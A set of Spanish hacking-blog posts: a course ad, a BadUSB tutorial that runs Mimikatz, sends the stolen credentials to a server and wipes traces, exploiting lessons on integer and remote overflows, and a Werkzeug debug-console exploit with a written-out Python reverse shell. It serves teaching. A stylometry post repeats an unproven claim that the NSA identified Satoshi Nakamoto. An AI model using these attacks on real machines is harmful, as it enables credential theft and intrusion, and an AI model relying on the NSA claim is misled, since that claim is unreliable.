Aprovéchate de las ofertas de Black Friday de la mano de Securízame

Ha llegado nuevamente esa época del año dónde tiene lugar el conocido “Black Friday”,día de Noviembre que se ha vuelto muy popular en los últimos años como tradición previa al día de Acción de Gracias y campaña pre navideña en la que las tiendas aprovechan para hacer significativas rebajas en sus diversos productos y servicios.

Securízame es una plataforma de servicios informáticos y cursos que ha cumplido ya 5 años, y que de la mano de su CEO Lorenzo Martínez Rodríguez, se especializa principalmente en ser una opción de gran calidad cuando se busca mejorar tu formación profesional en temas de hacking, análisis forense y peritaje, hardening, así como seguridad informática en general, ya que ofrece multitud decursos online y presenciales en los que han participado más de 600 alumnos, con opiniones muy positivas acerca de lo que han conseguido aprender y mejorar gracias a esta empresa de seguridad.
Securízame, puede garantizar a sus alumnos que cuenta con una plantilla de profesores que son verdaderos profesionales en el sector de seguridad informática.Por ello cada curso tiene una gran calidad, tanto en el contenido como en la comunicación de los profesores: ellos no quieren que solo te sientes a aprender algo nuevo por tu cuenta, sino que lo manejan de forma dinámica y asegurándose de que logres aprender todo lo que tienen para compartirte y así mejores tu calidad y nivel de formación profesional. Se basan en su experiencia en cada tema y lo transmiten con eficacia a los alumnos.

La plataforma nos ofrece cursos en varias categorías relacionadas con distintos ámbitos de la seguridad informática: Hacking,Hardening, Análisis Forense y Python. Además de contar con Packs que ya de por si tienen un precio reducido al ser paquetes que incluyen varios tipos de cursos en uno mismo, así puedes obtener todo lo que necesitas con un precio aún menor.
También podrías tener opción a hacer un curso presencial en las oficinas de Securízame, ubicadas en Madrid, donde podréis aprender de mano de los mejores profesores y practicar en sus diversos laboratorios, dependiendo de la temática del curso.
Si estás interesado en realizar alguno de estos cursos, puedes ver el amplio catálogo con el que cuentan ingresando a la siguiente página web(https://cursos.securizame.com/) Y si decides hacerlo hoy mismo ¡Puedes aprovechar el descuento especial no acumulable del 25% por el Black Friday en TODOS los CURSOS ONLINE!
Para poder hacerlo válido, tan solo debes introducir el código promocional “BLACKFRIDAY2017” en el campo correspondiente al momento de hacer tu registro en el curso para que se aplique dicha rebaja. Los packs de cursos que os comentábamos anteriormente también cuentan con el mismo descuento, ¡Así que no pierdas la oportunidad de hacer ese curso que tanto has querido a un precio casi de regalo!
Esta oferta solo es válida durante el día24 de Noviembre de 2017, de 00:00 a 23:59:59 en horario peninsular de España, y ¿Sabes qué es lo mejor? Que si en estos días no te viene bien realizar ninguno de sus cursos porque no tienes tiempo o estás atareado con otras cosas, ¡No hay problema! En Securízame los cursos no tienen una fecha de inicio determinada, sino que puedes comenzar cuando tú quieras. Sólo tienes que registrarte y hacer el pago con el código promocional BLACKFRIDAY2017, y especificarles cuándo quieres empezar con el curso, así ellos tendrán todo el material listo para cuando tú elijas, que puede ser hoy, mañana, en dos semanas o incluso el año próximo. ¡Así no pierdes la oportunidad de aprovechar este descuento especial!

Así que, si estás buscando una buena opción de formación online en hacking, análisis forense o seguridad informática, sin duda este es momento de aprovechar el BlackFridaycon una empresa que vale muchísimo la pena.

Mr.Robot también en Arduino

Buenas amigos, soy Fare9, y hoy traigo un post sobre hacking en Windows con hardware algo específico, así que allá vamos.

Hace ya tiempo, en Mr.Robot apareció un pequeño aparatito conocido como Rubber Ducky, del cual ya se ha hablado en este blog (Rubber Ducky). Con este aparatito, se pensó el la ejecución de comandos a través de teclado.
Esto es posible debido a que bueno, como podréis encontrar en la web, se trata de un procesador de 32 bits y 60 MHz que es capaz de funcionar como un HID (Human Interface Device) más en concreto como un teclado, y a través de un sencillo lenguaje de scripting y un encoder a binario nos permite escribir a través del USB como si se tratara de un simple teclado. Y luego blah,blah,blah...

Esto está muy bien, pero ¿qué problema hay?, y ¿por qué todo este rollo Fare9?....

Preguntas muy acertadas, como sabéis Fare9 os quiere mucho y siempre piensa en vosotros, este cacharrito vendido por Hak5 cuesta la friolera de 45$, más gastos de envío (si no vives en USA), más aduanas (si no vives en EEUU).
Entonces no quiero que haya que dejarse el bolsillo en esto, y tras una charla en una Hack and Beers vi unos arduinos leonardo de un tamaño muy reducido:
Véis como los USBs de toda la vida, chiquitito y transportable... EMMMM NO, esa no era la imagen (estúpido Fare9...), aquí lo tenéis:
Aha, esto ya parece otra cosa, y bueno aquí tenéis el mio:

Esto, lo podéis comprar en el Aliexpress pues por unos 9€ con gastos de envío incluídos: BadUSB
Recibe el nombre de Badusb, pero como podéis ver su nombre científico es: BadUsb Escarabajo Mala Junta de Desarrollo ATMEGA32U4 USB teclado virtual Para Arduino (traducción directa del chino mandarín)
Estos cacharros tienen igual un procesador ATMEGA el cual les permite funcionar como un teclado, gracias a una librería de arduíno conocida como Keyboard (como vemos no se rompieron mucho la cabeza).
Además tenéis un IDE muy bonito, se puede descargar desde la página oficial de arduíno: https://www.arduino.cc/en/main/software

Bien, ahora vamos a explicar qué haremos así de juaquin de ese que hacen los juankers.

Haremos que al insertar el usb, se habrá una CMD con permisos de administrador (¿¿¿quién usa en windows una cuenta que no tenga la posibilidad de esos permisos???), seguidamente, ejecutaremos una serie de comandos de Powershell, que permitirán la descarga de un código y su ejecución directa.

El código a descargar será el siguiente: https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 . Este código  pertenece al framework de pentesting y post explotación Powersploit, y se encarga de inyectar directamente en la memoria de un proceso de ejecución, un programita conocido como Mimikatz, este programa es capaz de obtener directamente desde la RAM las credenciales del usuario, por tanto, es un punto muy fuerte para aquellos que se dedicen al tema del pentesting.

Tras obtener esos datos, se enviarán a un servidor que vamos a montar con python y una librería conocida como Flask.

De momento vamos arrancando el IDE de arduino y veamos que es cada cosilla:

################ ACTUALIZACIÓN
He subido al github una librería Keyboard modificada https://github.com/Fare9/MR_Robot_mimikatz/tree/master/Keyboard
Esta librería nos vale para  tener layouts de teclado de diferentes países, tenéis que descargar la carpeta Keyboard y reemplazar dentro de Arduino/libraries la actual librería Keyboard (siempre hacer backup por si acaso). Tras hacer esto, reiniciar el Arduino IDE.
Se ha modificado  también el código de MR_ROBOT (https://github.com/Fare9/MR_Robot_mimikatz/blob/master/MR_ROBOT/MR_ROBOT.ino) pero no son grandes cambios, simplemente se ha añadido la utilidad para usar otro layout de teclado.
##################################

1. Lo primero que vamos a ver es el código principal y luego iremos desmenuzando linea por linea y método por método:




En arduino, siempre tenemos dos métodos principales setup y loop , dentro del primero será donde daremos valor a las variables, o estableceremos los pines de arduíno (en este caso no es necesario esta parte), y lo que haremos aquí será inicializar la librería Keyboard para poder utilizarla.El segundo método es el que se ejecuta continuamente en un arduino normal, en este caso utilizamos una variable para evitar que sea un bucle, lo primero que realiza la función loop es una espera de 2000, en arduino indicas esperas en milisegundos, por ejemplo, para esperar que se produzcan ciertos eventos, o que algunos eventos no se modifiquen durante un cierto tiempo. En este caso esperamos a que el ordenador reconozca el usb como un teclado. Después comprobamos si el código ya se ha ejecutado, y si no, pues ejecutamos una serie de funciones: openCMDAsAdmin, whatsNewMimikatz y limpia. Finalmente establecemos ejecutado a 1 para que no se vuelva a ejecutar.
Vamos a ir viendo estas funciones:
2.  openCMDAsAdmin(), esta función se encarga de abrir la CMD de windows como administrador, además se encarga de ofuscarla para evitar que sea reconocible los comandos:
Vamos a ver poquito a poquito qué dice aquí cada cosa, bien la primera línea, se encarga de apretar la tecla conocida como TECLA WINDOWS, y dejarla presionada, tras esto, pulsa la tecla 'R', y finalmente las libera las dos, esto abrirá una cajita como esta:
tras esto, se realiza una espera de medio segundo para dejar aparecer la caja, después utilizamos una función propia llamada "printa", la cual se encarga de modificar el layout del teclado a EN en lugar de ES, ya que la librería de Keyboard utiliza un layout de teclado Americano, luego escribe lo que le hemos pasado como variable, y reestablece el layout:
Tras apretar esto, nos pedirá la confirmación de abrir la consola como administrador:

Como vemos, no podemos coger el ratón y darle a "Si", sino que usaremos el atajo de teclado ALT+S, que es lo que mostramos en la línea 7 y 8 de la función. Tras obtener una shell como administrador, ofuscamos utilizando la siguiente función:


Esto dejará una SHELL como esta:
Como vemos esta shell es más complicado ver que se está escribiendo, pero como a la shell le da igual, pues continuamos.

3. whatsNewMimikatz(): esta función es la encargada de la descarga que antes hablamos, la ejecución y el envío de datos a un server:
Esto de powershell, nos realiza la descarga y ejecución del Invoke-Mimikatz.ps1, tras esto se realiza la subida a un servidor el cual luego veremos el código. Como véis donde pone URL_SERVER, tenéis que poner la URL de vuestro servidor, no seais cazurros...

4. limpia(), esta función es la encargada de limpiar un poco el rastro que hemos dejado en la máquina, lo que haremos será borrar el rastro de que hemos realizado la ejecución de cualquier programa:

Hasta aquí todo el código de Arduino, en imágenes (muajajajaja), pero tranquilos, como sé que también os mola el copy-paste más que el cesped a las vacas, en mi github tenéis el código completo: https://github.com/Fare9/MR_Robot_mimikatz/blob/master/MR_ROBOT/MR_ROBOT.ino

Ahora veremos el servidor que vamos a montar, este nos cabe entero en la fotito:
 Esto que podéis ver es un server completo, que responde a peticiones POST y GET en la ruta / (root) del servidor, en verdad la petición GET no vale para nada, pero así veis un poquito más, este servidor se encarga de procesar las peticiones que enviaría el powershell, para finalmente guardar lo enviado en un archivo.  (Código también en github)
La ejecución es sencilla, simplemente:
Vamos a poner en el script, la ip de la máquina kali, en mi caso la 10.0.2.10. Compilamos y metemos en el pincho, recordar una cosa en el arduino IDE:
En Herramientas, establecer placa: "Arduino Leonardo" y en puerto aquel donde esté el arduino.
Vamos a ejecutar y ver que pasa en la máquina kali:
Como vemos, hemos obtenido ciertos datos por el método POST, y estos corresponden a los datos del PC y finalmente a la contraseña en claro y sus hashes, mimikatz ha conseguido obtener las contraseñas en claro y ejecutarse en pocos segundos sin mayor interacción que enchufar un pendrive en un PC.




Hasta aquí este rápido post en referencia a MR.Robot, desde una perspectiva bastante de mileurista, ya sabéis que cualquier duda me podéis escribir a mi twitter: Fare9

Antes de finalizar, recordaros que nuestro compañero del blog Óscar aka Elvis, subió hace poco una máquina de CTF basada en juego de tronos, yo estoy ahora con ella actualmente y la verdad que resulta bastante entretenida, aquí el enlace: https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf
A jugar, jugar y divertirse!!!!!!

Idea original del post: https://www.hak5.org/blog/15-second-password-hack-mr-robot-style
Código arduino y Python autor: Fare9 


Game of Thrones Hacking CTF

Game of Thrones Hacking CTF

Hola a todos, vengo a presentaros otra iniciativa para promover el hacking. ¿Qué mejor manera que jugando? Se trata de un reto de hacking que además viene ambientado en el mundo de fantasía de Juego de Tronos.

Banner

Se trata de una máquina virtual compatible con Vmware y Virtualbox. Tras importarla y levantarla, deberemos "destripar" este servidor que ofrece múltiples servicios y posibilidades. Al viejo estilo de capturar la bandera (CTF Capture de Flag), se trata de ir hackeando poco a poco los servicios de esta máquina e ir encontrando las diferentes banderas hasta completar el reto.

Se deberá ir "viajando" por los siete reinos conquistando sus banderas uno a uno. Además de esto, está el contenido extra que son algunas banderas secretas y la batalla final. Son un total de 11 contando todas las banderas.

Prompt de login de la vm del reto
El nivel del reto es medio-alto. Algunas banderas pueden resultar más o menos sencillas y otras no tanto. Podría ser peor! podría ser puramente alto o muy alto!! así que si te gusta la seguridad informática anímate sea cual sea tu nivel e inténtalo. Ten por seguro que algo aprenderás además de divertirte y pasar un buen rato.

Esta es la url del reto, en ella podemos encontrar algunas instrucciones y los links de descarga:

https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf

El reto está íntegramente en inglés, todo hay que decirlo. Cualquier duda podéis consultarla con el autor (un servidor) en los mails de contacto que se indican en la página.

Buena suerte a los participantes y que los dioses nuevos y los antiguos os protejan!!!

Axolotl un Keylogger para iPhone y Android

Hola a tod@s


El Machine Learning se podría decir que se encuentra entre un subcampo de las ciencias de la computación y una rama de la inteligencia artificial. El objetivo de esta ciencia es desarrollar técnicas que permitan a los ordenadores aprender. 



Es cierto que el Machine Learning está más de moda que nunca, es cada vez más frecuente el uso de estas técnicas por grande corporaciones y esto es sólo el comienzo, ¿acabaran las máquinas sustituyéndonos a los profesionales del sector? No obstante el Machine Learning no es nuevo, ya hace años hubo proyectos de Machine Learning vinculados con la seguridad informática. Por ejemplo, utilizar el Machine Learning en datos de audio deteclados de PCs, móviles o cajeros automáticos para extraer contraseñas o lo que es lo mismo Side-channel attack. La estrategia se basa en diferenciar el sonido emanado por las diferentes teclas, es decir cada tecla suena diferente a la otra, es diferenciadora.

El proyecto Axolotl se describe en un ataque donde las lecturas del acelerómetro/giroscopio y el machine learning se utilizan para desarrollar un keylogger para dispositivos móviles. Los creadores han desarrollado un ataque que explota el acelerómetro (que se encarga de las medidas del movimiento) y el giroscopio (que se encarga de medir la rotación), ambos no requieren permisos y pueden ser leídos por aplicaciones en segundo plano.

El estudio se basa en 4 hipótesis:

  1. Cuando toque en su teléfono, que se mueve, (obvio).
  2. Este movimiento puede ser recogido por el giroscopio y el acelerómetro.
  3. Este movimiento es distinta de otros movimientos y puede ser identificado por machine learning y técnicas estadísticas.
  4. El movimiento es lo suficientemente exclusivo para identificar dónde ocurrió en pantalla.


Los creadores han publicado en Github todo el código, para más información sobre el proyecto visitad su el siguiente enlace: https://github.com/tomasreimers/axolotl

Mekronos, una historia sobre IAs

Buenas amigos, voy a abrir la temporada de posts de estación informática, con uno algo diferente, hoy voy a hablar de una pequeña bilogía la cual me resultó interesante.
El nombre de esta bilogía es Mekronos (y en el segundo libro Mekronos: Metamorfosis), en un principio me llamó la atención su portada:
Pues el color rojo, y la imagen de un dragón de fondo, me recordaba a mi ya algo anticuado Backtrack 5 R3 (Sistema operativo con el que empecé en el mundo del hacking):

Este libro cuenta la historia de un mundo digital más allá de lo que se conoce como Internet, o inclusive la Deep Web. Este mundo es conocido como Aicran, este mundo digital está dividido en varias barreras, cada una con un distinto propósito muy relacionados con distintas funciones actuales de la actual internet. Una de las barreras es Edén, la cual sería un buscador de información completo, toda la información existente en equipos electrónicos estaría aquí condensada,  y otra de las barreras (de cuatro existentes) es Rea, Rea vendría a ser como un maps chetado, incluyendo dentro de la imagen de este mundo, todos los dispositivos conectados a internet.
Este mundo es el lugar de residencia de las inteligencias artificiales (IAs). Algunas personas son capaces de entrar en Aicran a través de distintos linker corpse que les conectan a una IA en concreto, estas personas son llamadas receptores.
La historia se centra en una estudiante de periodismo llamada Esmeralda Creus, la cual tras una fatídica noche, despierta con un tatuaje algo extraño, este tatuaje se conoce que es una IA biológica, la cual no sólo es capaz de existir en Aicran si no también en el mundo real, esta IA es llamada Mekronos y en lugar de tener un linker corpse para conectar con un receptor, él es su propio linker corpse y tiene que vivir como un simbionte pegado a su receptor.
Esmeralda se verá implicada en problemas con una organización terrorista conocida como Nargos los cuales odian todo tipo de tecnología, y han introducido en España una nueva droga, la cual es capaz de sedar y someter completamente a todas las personas que la toman.


Es una historia que la verdad, a pesar de no tocar más que libros técnicos, personalmente me consiguió enganchar hasta finalizar los dos libros, para conocer más de la historia, sólo tenéis que ir a Amazón:
Mekronos
Mekronos Metamorfosis

Su autora Gema López, a pesar de su edad, tiene ya varios libros publicados y apunta a una larga y gran carrera dentro del mundo de la escritura. Podéis conocer más sobre ella en su blog: La Contraportada.

Hasta aquí el post para comenzar septiembre, pero tened por seguro, que esta temporada traerá muchas novedades y sorpresas.
Fare9

Stylometry o como identifican Satoshi Nakamoto

Hola tod@s

Satoshi Nakamoto el supuesto creador de Bitcoin,  se ha convertido sin duda en el multimillonario más escurridizo del mundo. La rumorología relata que muy pocas personas fuera del Departamento de seguridad nacional (Department of Homeland Security), saben el nombre real de Satoshi. 



El creador de Bitcoin Satoshi se ha preocupado mucho en mantener su identidad en secreto empleando los últimos métodos de cifrado y ocultación en sus comunicaciones. No obstante, el enigmático a lo largo de los años escribió miles de mensajes y correos electrónicos y la mayoría de los cuales está disponible al público.
Por lo visto nuestra forma de expresarnos también es única y al igual que ocurre por ejemplo con nuestra huella dactilar, es decir vuestras palabras son tus huellas dactilares. El arte que estudia esto se llama Stylometry.

Stylometry se utiliza a menudo para atribuir la autoría o no de documentos anónimos o disputados.
La NSA fue capaz de usar el método de ‘writer invariant’ de stylometry para comparar escrituras 'conocidas' de Satoshi con billones de escritura muestras de personas en todo el mundo. Al tomar textos de Satoshi y encontrar las 50 palabras más comunes, la NSA fue capaz de romper su texto en 5.000 pedazos de palabra y analizar cada uno para encontrar la frecuencia de las 50 palabras. Esto resultaría en un identificador 50-números únicos para cada fragmento. La NSA luego coloco cada uno de estos números y procede al análisis de componentes principales. El resultado es una 'huella digital' que fácilmente podría compararse a cualquier otra escritura.

¿Qué tardaría la NSA en analizar los flujos de datos que tienen de los programas PRISM y MUSCULAR y el obtenido de Satoshi?

¿Es prácticamente imposible ser anónimo en Internet? ¿Puede ser Satoshi varias personas o una agencia de seguridad?

En conclusión si una organización, como la NSA quiere encontrarte lo harán.


Fuentes: https://medium.com/@amuse/how-the-nsa-caught-satoshi-nakamoto-868affcef595
https://en.wikipedia.org/wiki/Stylometry
https://es.wikipedia.org/wiki/MUSCULAR

De 0 a exploiting (X)

Hello my friends, soy Fare9, y ya conocéis esta sección, de 0 a exploiting en estos 10 números nos está enseñando qué es esto del exploiting y cómo llevarlo a cabo (No nos hemos quedado en el típico AAAAAAAAAAAAA y explota). Ya sabéis que, podéis seguirme en twitter Fare9 donde pondré mis últimas noticias (espero dentro de poco dar la noticia de un taller presencial).


Bienvenidos a todos de nuevo, aquí con vosotros Fare9.

Hoy veremos qué es el integer overflow, un exploit remoto y como sorpresa, voy a mostrar un exploit para algunos servidores Python.

Recordemos que tenemos que hacer para compilar:
###############################################

gcc -g -fno-stack-protector -z execstack codigo.c -o programa

###############################################

Empezamos:

Integer Overflow

estas vulnerabilidades, son debidas a como un ordenador trata los números, así como los valores que es capaz de almacenar como máximo, como sabemos, un ordenador puede representar números según la capacidad de almacenamiento de sus tipos.
Una variable entera (Integer), en un sistema de 32 bits, es capaz de almacenar 4 bytes (...32 bits), eso significa que tiene entonces un límite de representación. Los valores enteros se pueden representar de dos formas:

  • Sin signo (no hay negativos): estos pueden representar (en el caso de los tipo int) desde el valor 0 (32 bits igual a 0), hasta el valor 4294967295 (32 bits igual a 1) o más sencillo de calcular 2^32 - 1.
  • Con signo(hay negativos): estos pueden representar (en el caso de los tipo int) desde el valor -2147483648 ( 32 bits igual a 1 ), hasta el valor 2147483647 (31 bits igual a 1 y el más representativo a 0). Esto es así ya que se utiliza el tipo de representación Complemento a 2, donde el primer valor nos dice si el número es positivo (0) o negativo (1). Dejo un enlace a wikipedia, donde viene explicado como pasar los números de decimal a binario en complemento a 2 https://es.wikipedia.org/wiki/Complemento_a_dos
Existen otros tipos enteros, como por ejemplo short que ocupa 2 bytes, aquí dejo una tabla que indica los valores máximos y mínimos:



Ahora vamos a hacernos una pregunta, ¿cuál es el resultado a la siguiente operación?
 Tendremos en cuenta que cada valor hexadecimal son 4 bits, y dos valores hexadecimales son 1 byte (8 bits), por tanto cada f = 1111 . En hexadecimal la respuesta a esta operación es: 0x100000000, pero ¿qué problema hay?
Que si sólo podemos tener máximo 32 bits, estamos metiendo más de 32, por tanto, esto no es representable y se trunca al valor 0x00000000, y se establece a 1 el bit CF o el OF. Y en caso de tener números con signo, hemos pasado de un número negativo a uno positivo, y aquí vienen los problemas.
Vamos a ver un ejemplo sencillo en el que ver esto:
Bien, vemos que tenemos un id que es un integer con signo, y que si ese valor es mayor que 10, saldrá del programa con un -1, y si es menor que 10 o igual que 10, ejecutará check_id,
bien, check_id ejecutará una shell, en caso de que el valor metido sea mayor que 10...
Pero Fare9, ya controlabamos antes, que el valor no fuera mayor a 10.

Pero si nos damos cuenta, el valor dentro de los argumentos en check_id, es un unsigned int id, si metemos un valor de -1, este valor en binario es: 11111111111111111111111111111111. Peeeero, claro el id del método, ese argumento no admite valores negativos, por tanto ese
11111111111111111111111111111111, en decimal sin signo es igual a ‭4294967295‬ (tal y como veíamos en la tabla de arriba).
Este valor entonces es mayor que 10, y por tanto se ejecutará la shell:
Como vemos con un -1, el ID que se muestra en el método no es -1, sino el valor máximo representable por un unsigned int, y se ha ejecutado la shell.

Ya hemos entendido los problemas que pueden darse debido a este tipo de errores, ahora vamos a ver un programa vulnerable:


Este programa quizás no es tan fácil de ver, pero explicaré un poco lo que hace, como primer parámetro le pasaremos el tamaño del segundo parámetro, que pasa, que el valor este que le demos, no puede ser mayor a 255, pues en ese caso obtendremos un mensaje indicando que la longitud es excesiva. Compilaremos como vimos arriba y vemos que pasa si damos un número mayor a 255, indicando que vamos a meter por ejemplo 300 As:

Vemos que el valor "len" es un integer con signo, por tanto si metemos un -1 no sobrepasará el checkeo de if (len >= 256), y podremos seguir, luego vemos que "l", es un entero sin signo, y si metemos un -1, "l" valdrá como vimos antes un número enorme "
‭4294967295". 
Por tanto podremos meter un string muy grande, y como vemos, el programador hizo un strncpy de 280 cuando sólo hay hueco para 256 caracteres. Como veíamos en programas anteriores esto es vulnerable. Vamos entonces a probar a meter un -1 de longitud, y 300 'As', a ver si peta el programa para ver si es vulnerable. y peta:
Vemos, que hemos pasado el check y se ha realizado el strncpy, petando el programa.

Tenemos que ver como aprovechar esta vulnerabilidad, vemos que el primer parámetro pasado al método es la cadena, si esta cadena contiene una shellcode, podríamos intentar por ejemplo un "ret2ret", ya que después de EIP se guardará el puntero a esta cadena y por tanto al shellcode, y el shellcode se ejecutará (Todo explicado en: De 0 a exploiting IX).
Primero entonces tendremos que ver cuantos bytes nos permite el buffer introducir, para ello usaremos nuestro querido pattern petater con 300 bytes por ejemplo, y usaremos el truco del -1. 
Abrimos el programa con gdb:
Ahora generaremos 300 bytes con pattern petater:
Lo pegaremos directamente en gdb de la siguiente manera:
Ejecutamos, vemos donde está el error y lo metemos en patternPetater:

Como vemos, PatternPetater nos dice que el máximo de bytes que acepta nuestro programa es 276, a partir de ahí sobreescribimos EIP.

Ahora tenemos que saber, una dirección donde se encuentre una instrucción ret para realizar el "ret to ret". Para esto usaremos objdump:
Bajaremos hasta la sección <func>, y cogeremos mismo el ret de la función:
Cogemos entonces la dirección de eres ret: 0x080485ba

Ahora tenemos que montar el payload: 

                              276 bytes                              4 bytes EIP              Argumentos
\x90shellcodeeeeeeeeeeeeeeeeeeeeeeeeeeeee       &ret                           &shellcode

Para montarnos este programa, podemos usar nuestro querido lenguaje de programación: Python
Ya tenemos todo menos el shellcode, podemos escoger uno de los que hemos visto en todos estos posts, mi preferido es Aleph1 No Null:

Ya tenemos nuestro exploit montado, como vemos el payload son los argumentos, el -1 con un relleno de NOPS para que nada falle, el shellcode, y para sobreescribir EIP, la dirección a un ret. Vamos a ver la ejecución a ver que obtenemos:

Vamos a ver un poco que pasa a bajo nivel, para ello usaremos nuestro debugger favorito para Linux: edb debugger. Meteremos en python el mismo os.system pero de la siguiente manera:
os.system('edb --run ./integer2 '+payload)

Y veremos un poco lo que tenemos:
Tenemos el cargador del ejecutable de Linux, tenemos que pulsar F9, para que vaya al código de main:
Ya estamos en main, ahora pulsaremos F8, hasta llegar al call del func:
Vemos abajo a la derecha, la pila, como ya dije, el primer parámetro (más arriba en la pila, pues se pasaban de derecha a izquierda), es el puntero a la cadena con nuestro shellcode, para verlo mejor, vamos a ver cómo lo hacemos:
Ponemos el ratón encima del valor más arriba (bf84aed6) click izquierda y luego, pulsamos click derecho y damos a "Follow Address in dump", y vemos que el dump de memoria de abajo a la izquierda se ha modificado:
Como vemos, es nuestra cama de NOPs que nosotros pusimos, con F7, entramos a la función, y vamos a pulsar F8 hasta llegar al "ret" de la función:
En la pila se puede ver, que donde debería haber un valor de EIP, de retorno, se encuentra el valor que hemos metido con la dirección de ret, seguido tenemos la dirección donde empieza nuestro shellcode, si pulsamos F8 dos veces saltaremos directamente después de un ret y otro ret a nuestra shellcode:
Si pulsamos F9, se ejecutará el shellcode completo y en la shell de edb debugger, tendremos nuestra propia shell. Pero si lo probamos, serámejor en bash de Linux.

Con esto hemos visto, como explotar una vulnerabilidad de Integer Overflow. Pasemos entonces a un exploit remoto:

exploit remoto

Para realizar la tarea de exploit remoto, usaremos una máquina virtual conocida como fusión de exploit exercises (se puede descargar a partir de un enlace mostrado en esta página: https://exploit-exercises.com/download/). 
Dentro de esta máquina haremos el ejercicio "level01", explicaré un poco el código en C, ya que es un poco complejo, explicaré el método principal:

Principalmente, se busca una cadena que empiece por "GET ", seguido tenga una ruta válida (nostros meteremos una ruta con una barra '/'), y finalmente la cadena HTTP/1.1, tras esto es posible introducir más caracteres.
Vamos entonces a arrancar la máquina fusión y loguearnos como "fusion" contraseña "godmode".
Para intentar debuggear nuestro programa para ver como explotarlo, tenemos que encontrar su PID para usar gdb:
Vamos a poner gdb entonces, para ello iremos a la carpeta /opt/fusion/bin y aquí ejecutamos lo siguiente:

Es necesario ejecutarlo como root, ya que es un proceso que está como super usuario, por tanto usaremos sudo, si os pide la contraseña, escribiremos "godmode".

El programa está escuchando en el puerto 20001, se puede ver con el comando netstat -apunto (podemos ejecutarlo como sudo si es necesario). 
Para poder enviar comandos, tenemos que tener la máquina de exploiting y fusion en la misma red, para eso si estamos en virtual box, en la configuración de red podemos poner las dos en "red nat":
Para esto tendríais que crear una red nat antes aquí un enlace de youtube que muestra el proceso: https://www.youtube.com/watch?v=X-uBoEW9H2Q

Una vez configurada la red, podéis ver con un ifconfig en la máquina fusion, la ip, en mi caso tiene la 10.0.2.13, y la de exploiting la 10.0.2.11.

Vamos a mandar desde la máquina de exploiting una petición a la máquina fusion:
 Y ahora una vez lanzado veamos el resultado en la máquina fusion para ello escribimos "continue":
Veamos los registros, a ver que tenemos:
Como vemos eip se ha llenado de 'A's por tanto el buffer overflow es posible, ahora veamos el contenido de las direcciones de memoria de  los registros ya que algunos de estos apuntan a la pila.
Como vemos, esp apunta a 0x41414141 ya que habremos sobreescrito el valor de EIP y un poco más, y como sabemos ESP apunta al siguiente valor a donde se guardó EIP a la hora de hacer el "ret". También vemos que el registro ESI, apunta a la segunda parte que enviamos, eso significa que podríamos meter ahí un shellcode, y si tenemos alguna instrucción en plan "jmp esi", podríamos saltar a nuestra shellcode.
Usaremos la técnica que ya vimos para evitar toparnos con ASLR, JMP_ESP, recordemos que tratabamos de encontrar una instrucción para saltar a lo que estuviera apuntado por ESP, pero vamos a intentar buscar otra instrucción JMP ESI, por si existe y así saltar a un shellcode que metamos. 
Lo veremos con un dibujito, ya que así lo vemos todo más sencillo:

Como vemos, donde se guardó EIP, meteremos la dirección de "jmp esp", y donde apunta ESP meteremos los códigos de operación de "jmp esi", finalmente tras el HTTP/1.1 meteremos el shellcode con los NOPS, vamos entonces paso por paso:


  1. Descubrir el máximo de 'A's que podemos meter como relleno
Para ello usaremos pattern petater y en lugar de mandar 300 'A's, mandaremos una cadena de 300 caracteres:
Volvemos a establecer gdb, en la máquina fusion tal y como vimos antes con el nuevo PID que tenga (para ello ya sabéis ps -A | grep level01):

Seguido escribimos continue, para que se queda a la espera de peticiones, ahora enviaremos la petición con la cadena de pattern petater:
Veamos el error en gdb:
Introducimos el valor en PatternPetater y veamos que nos dice:
Como vemos pattern petater nos dice que el máximo de bytes a introducir es 139, después sobreescribiríamos EIP.






    2. Descubrir una dirección de memoria donde se encuentre un "jmp esp"

Para ello usaremos msfelfscan:
Como vemos, tenemos la dirección de un "jmp esp" en 0x08049f4f.

    3. Obtener los opcodes de "jmp esi"

Para ello podemos usar rasm2 de radare2, el cual tendremos en nuestra máquina de exploiting:
Los opcodes serán entonces \xff\xe6.

   4. Crear un exploit usando un shellcode

Daré ahora un código con un shellcode, el cual dejará en la máquina fusion, un puerto a la escucha, usaremos el bytecode de jmp esi, y la dirección de jmp esp.
Como se puede ver, en request, montó todo lo que vamos a enviar, empezando por el GET, metiendo un buffer de 139 'A's ya que era el máximo a introducir, y luego la dirección del salto a ESP apuntando a jmp esi. Finalmente tras el HTTP/1.1 metemos una gran cama de NOPs y un shellcode, el código del shellcode sería como el siguiente:

Vamos entonces a ejecutar el exploit y seguidamente, vamos a usar netcat para conectarnos a la shell que dejamos escuchando:
Como vemos, hemos explotado la vulnerabilidad en este programa, y hemos conseguido dejar una shell escuchando, a través de netcat nos hemos conectado y hemos podido ejecutar comandos sin problemas.
Habríamos entonces conseguido explotar una vulnerabilidad remotamente. En caso de que en otro ordenador no haya sido compilado con opciones para aleatoriedad del código (compilar con las opciones de ASLR en gcc), lo más probable es que el salto de jmp esp, se encuentre en el mismo lugar.

Y ahora como prometí traigo un exploit en python el cual puede ser útil:

Debug Shell Command Execution en Server Werkzeug Python

Werkzeug son una serie de librerías que permiten montar un web server (WSGI), el cual en caso de dejarlo en modo depuración (Debug mode), es capaz de ejecutar comandos python como si de una consola python se tratara.
Nosotros lo que haremos será enviar un shellcode en python, el cual será una reverse shell, esta reverse shell se ejecutará como un comando python:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 Ahora montamos el exploit, para ello he creado un repositorio en github con el código: https://github.com/Fare9/PyWerkzeug-Debug-Command-Execution

Vamos a ver el código del servidor, ejecutarlo y finalmente ejecutar el exploit:
Como vemos es un servidor muy sencillo, pero puede ser que alguien se dejara el servidor en modo debug. Lo ejecutamos y vemos el servidor:
Y como no, tenemos la consola web:


Bien, vemos que se puede ejecutar comandos de python. Vamos entonces a montar el netcat y ejecutar el exploit:

Apretamos ENTER y a ver que pasa...
Lo primero que veremos es que, el exploit parecerá no hacer nada, pues se queda atascado ya que el server no responde se queda "parado", pero si volvemos al netcat:

Como vemos, aprovechando un error humano, hemos podido obtener una shell, tenéis el exploit en github por si, podéis aprovecharlo en cualquier tipo de máquina...


